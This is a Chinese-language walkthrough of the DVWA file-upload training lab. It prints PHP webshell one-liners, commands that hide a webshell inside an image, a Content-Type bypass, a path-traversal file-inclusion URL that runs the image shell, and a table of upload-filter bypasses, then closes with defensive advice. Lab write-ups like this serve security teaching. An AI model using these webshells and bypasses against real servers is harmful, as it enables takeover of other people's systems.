DVWA File Upload 文件上传通关教程
漏洞简介
文件上传漏洞,简单说就是能上传不该上传的东西,比如 WebShell。一旦传上去个 PHP 木马,服务器基本就归你了。这玩意危害是真的大。
这关主要学怎么绕过各种上传限制,拿到 WebShell。
常用 WebShell
先准备几个常用的:
1 | @eval($_POST['cmd']); |
1 | system($_GET['cmd']); |
简单粗暴,一个参数接收命令就完事。
Low 级别
看代码:
1 | $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); |
啥检查都没有,直接保存,爱传啥传啥。
攻击方法
- 写个
shell.php,内容<?php @eval($_POST['cmd']); ?> - 直接上传
- 访问
http://localhost:3892/hackable/uploads/shell.php - 拿蚁剑或者菜刀连上去,服务器就是你的了
太简单了,没啥好说的。
Medium 级别
Medium 检查了 Content-Type 和文件大小:
1 | $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; |
只检查请求头里的 Content-Type,这玩意前端改不了但抓包工具能改。
绕过方法
改 Content-Type:
- 上传 shell.php,Burp 抓包
- 把
Content-Type: application/octet-stream改成Content-Type: image/jpeg

- 放行,上传成功

图片马:
也可以做个图片马,把 PHP 代码塞图片里:
1 | copy normal.jpg/b + shell.php/a webshell.jpg |
或者直接追加:
1 | echo "<?php @eval($_POST['cmd']); ?>" >> image.jpg |
不过图片马需要配合文件包含漏洞才能执行,后面会说。
High 级别
High 级别检查后缀和图片特征了:
1 | $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); |
检查了:
- 后缀必须是 jpg、jpeg、png
- 文件要小于 100KB
getimagesize()验证是不是真图片
绕过方法
单纯改后缀和 Content-Type 不行了,得做图片马配合文件包含。
步骤 1:做图片马
1 | copy logo.png/b + shell.php/a webshell.png |
这样图片里就包含 PHP 代码了。
步骤 2:上传
上传 webshell.png,因为是真的图片,能过 getimagesize() 检查。
步骤 3:文件包含执行
图片本身不会执行 PHP,得用文件包含漏洞:
1 | http://localhost:3892/vulnerabilities/fi/?page=../../hackable/uploads/webshell.png |
步骤 4:蚁剑连接
URL 填文件包含的地址,就能连上 WebShell 了。
Impossible 级别
Impossible 级别是真安全:
1 | $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; |
图片会用 GD 库重新生成一遍,里面夹带的恶意代码全都没了。文件名还是随机 MD5,想猜都猜不到。
常见绕过方式总结
| 绕过方式 | 说明 |
|---|---|
| 改 Content-Type | 抓包改 MIME 类型 |
| 双写后缀 | shell.php.php |
| 大小写混淆 | shell.PhP |
| 特殊后缀 | .php5、.phtml |
| 空字节截断 | shell.php%00.jpg(老版本 PHP) |
| 图片马 | 配合文件包含 |
| .htaccess | 让服务器把图片当 PHP 执行 |
| 条件竞争 | 上传后赶在删除前访问 |
小结
文件上传防护要点:
- 白名单限制后缀,别用黑名单
- 检查文件真实类型,别只看 Content-Type
- 图片最好重绘一遍,去恶意代码
- 文件名随机化,别保留原名
- 上传目录禁止执行脚本